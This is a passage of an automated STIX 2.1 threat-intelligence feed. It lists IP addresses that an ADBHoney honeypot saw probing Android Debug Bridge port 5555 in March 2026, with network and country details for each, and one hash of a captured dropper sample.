          "event_count": 8,
          "first_seen": "2026-03-26T10:01:05.000Z",
          "last_seen": "2026-03-27T09:59:26.577Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T12:00:41.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-26T11:56:19.000Z | last_seen=2026-03-26T11:57:55.712Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--cceb12a9-6a06-4929-8449-b6b2b4d849b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '114.107.201.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T12:00:41.000Z",
      "valid_until": "2026-04-27T12:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-26T11:56:19.000Z",
          "last_seen": "2026-03-26T11:57:55.712Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=NO; asn=208172; asn_org=Proton AG; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-26T12:37:01.000Z | last_seen=2026-03-26T12:46:15.181Z | ports=5555 | cc=NO | asn=208172 | org=Proton AG",
      "id": "indicator--2373b78f-8b26-4a6b-9dca-42581b4cf808",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.147.17.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T13:00:04.000Z",
      "valid_until": "2026-04-27T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-26T12:37:01.000Z",
          "last_seen": "2026-03-26T12:46:15.181Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NO"
          ],
          "asn": [
            "208172"
          ],
          "org": [
            "Proton AG"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=UA; asn=211736; asn_org=FOP Dmytro Nedilskyi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-26T12:59:21.000Z | last_seen=2026-03-26T13:00:30.254Z | ports=5555 | cc=UA | asn=211736 | org=FOP Dmytro Nedilskyi",
      "id": "indicator--45c3dbd6-711c-4bcf-b379-82a5767c3327",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '88.210.63.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T13:00:04.000Z",
      "valid_until": "2026-04-27T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-26T12:59:21.000Z",
          "last_seen": "2026-03-26T13:00:30.254Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "UA"
          ],
          "asn": [
            "211736"
          ],
          "org": [
            "FOP Dmytro Nedilskyi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T16:00:28.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-26T15:42:58.000Z | last_seen=2026-03-26T15:44:39.445Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--f6404513-b594-4a74-9a73-4bfcfc764d78",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '120.243.205.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:00:28.000Z",
      "valid_until": "2026-04-27T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-26T15:42:58.000Z",
          "last_seen": "2026-03-26T15:44:39.445Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T16:00:28.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-26T15:47:27.000Z | last_seen=2026-03-26T15:48:34.323Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--3d310da3-942f-4e86-900f-44bc0083e440",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.74.50.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:00:28.000Z",
      "valid_until": "2026-04-27T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-26T15:47:27.000Z",
          "last_seen": "2026-03-26T15:48:34.323Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T16:00:28.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-26T15:57:51.000Z | last_seen=2026-03-26T16:08:02.947Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--99bb4314-c005-4be4-aed9-eb02634b53c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '27.14.245.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T16:00:28.000Z",
      "valid_until": "2026-04-27T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-26T15:57:51.000Z",
          "last_seen": "2026-03-26T16:08:02.947Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=ID; asn=7713; asn_org=PT Telekomunikasi Indonesia; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=205 | first_seen=2026-03-26T04:20:33.000Z | last_seen=2026-03-27T07:56:06.743Z | ports=5555 | cc=ID | asn=7713 | org=PT Telekomunikasi Indonesia",
      "id": "indicator--54fe66e6-7dea-4773-9f40-6506e3ec7b06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '36.80.240.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:00:02.000Z",
      "valid_until": "2026-04-27T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 205,
          "first_seen": "2026-03-26T04:20:33.000Z",
          "last_seen": "2026-03-27T07:56:06.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "7713"
          ],
          "org": [
            "PT Telekomunikasi Indonesia"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=ID; asn=7713; asn_org=PT Telekomunikasi Indonesia; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=205 | first_seen=2026-03-26T04:20:33.000Z | last_seen=2026-03-27T07:56:06.743Z | ports=5555 | cc=ID | asn=7713 | org=PT Telekomunikasi Indonesia",
      "id": "indicator--54fe66e6-7dea-4773-9f40-6506e3ec7b06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '36.80.240.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T17:00:03.000Z",
      "valid_until": "2026-04-27T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 205,
          "first_seen": "2026-03-26T04:20:33.000Z",
          "last_seen": "2026-03-27T07:56:06.743Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ID"
          ],
          "asn": [
            "7713"
          ],
          "org": [
            "PT Telekomunikasi Indonesia"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-26T17:40:53.000Z | last_seen=2026-03-26T17:42:09.556Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:00:02.000Z",
      "valid_until": "2026-04-27T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-26T17:40:53.000Z",
          "last_seen": "2026-03-26T17:42:09.556Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-26T17:40:53.000Z | last_seen=2026-03-26T17:42:09.556Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T18:00:02.000Z",
      "valid_until": "2026-04-27T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-26T17:40:53.000Z",
          "last_seen": "2026-03-26T17:42:09.556Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T19:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/61f5cee28f7d2e28fc08c14ef45db329d43ce2c236d6b8de8b8ac23ead255041.raw; last_seen=2026-03-26T18:31:41.169Z",
      "id": "indicator--e3edc604-2c1f-49ed-8a30-207b101b2577",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '61f5cee28f7d2e28fc08c14ef45db329d43ce2c236d6b8de8b8ac23ead255041']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T19:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/61f5cee28f7d2e28fc08c14ef45db329d43ce2c236d6b8de8b8ac23ead255041.raw; last_seen=2026-03-26T18:31:41.169Z",
      "id": "indicator--e3edc604-2c1f-49ed-8a30-207b101b2577",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '61f5cee28f7d2e28fc08c14ef45db329d43ce2c236d6b8de8b8ac23ead255041']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T19:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-26T20:15:47.000Z | last_seen=2026-03-26T20:17:01.331Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T21:00:03.000Z",
      "valid_until": "2026-04-27T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-26T20:15:47.000Z",
          "last_seen": "2026-03-26T20:17:01.331Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T21:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-26T20:15:47.000Z | last_seen=2026-03-26T20:17:01.331Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T21:00:04.000Z",
      "valid_until": "2026-04-27T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-26T20:15:47.000Z",
          "last_seen": "2026-03-26T20:17:01.331Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-26T22:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RU; asn=209702; asn_org=Soldatov Alexey Valerevich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-26T21:14:13.000Z | last_seen=2026-03-26T21:15:23.046Z | ports=5555 | cc=RU | asn=209702 | org=Soldatov Alexey Valerevich",
      "id": "indicator--d8dc33a9-f846-44bf-a76e-08292fdac9ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.66.66.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-26T22:00:04.000Z",
      "valid_until": "2026-04-27T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-26T21:14:13.000Z",
          "last_seen": "2026-03-26T21:15:23.046Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "209702"
          ],
          "org": [
            "Soldatov Alexey Valerevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T04:02:17.000Z | last_seen=2026-03-27T04:03:50.421Z | ports=5555 | cc=CN | asn=56048 | org=China Mobile Communicaitons Corporation",
      "id": "indicator--b8284de6-b6e6-4c2f-b39b-ac6f71187049",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '120.245.78.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T05:00:04.000Z",
      "valid_until": "2026-04-28T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T04:02:17.000Z",
          "last_seen": "2026-03-27T04:03:50.421Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56048"
          ],
          "org": [
            "China Mobile Communicaitons Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=56048; asn_org=China Mobile Communicaitons Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T04:02:17.000Z | last_seen=2026-03-27T04:03:50.421Z | ports=5555 | cc=CN | asn=56048 | org=China Mobile Communicaitons Corporation",
      "id": "indicator--b8284de6-b6e6-4c2f-b39b-ac6f71187049",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '120.245.78.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
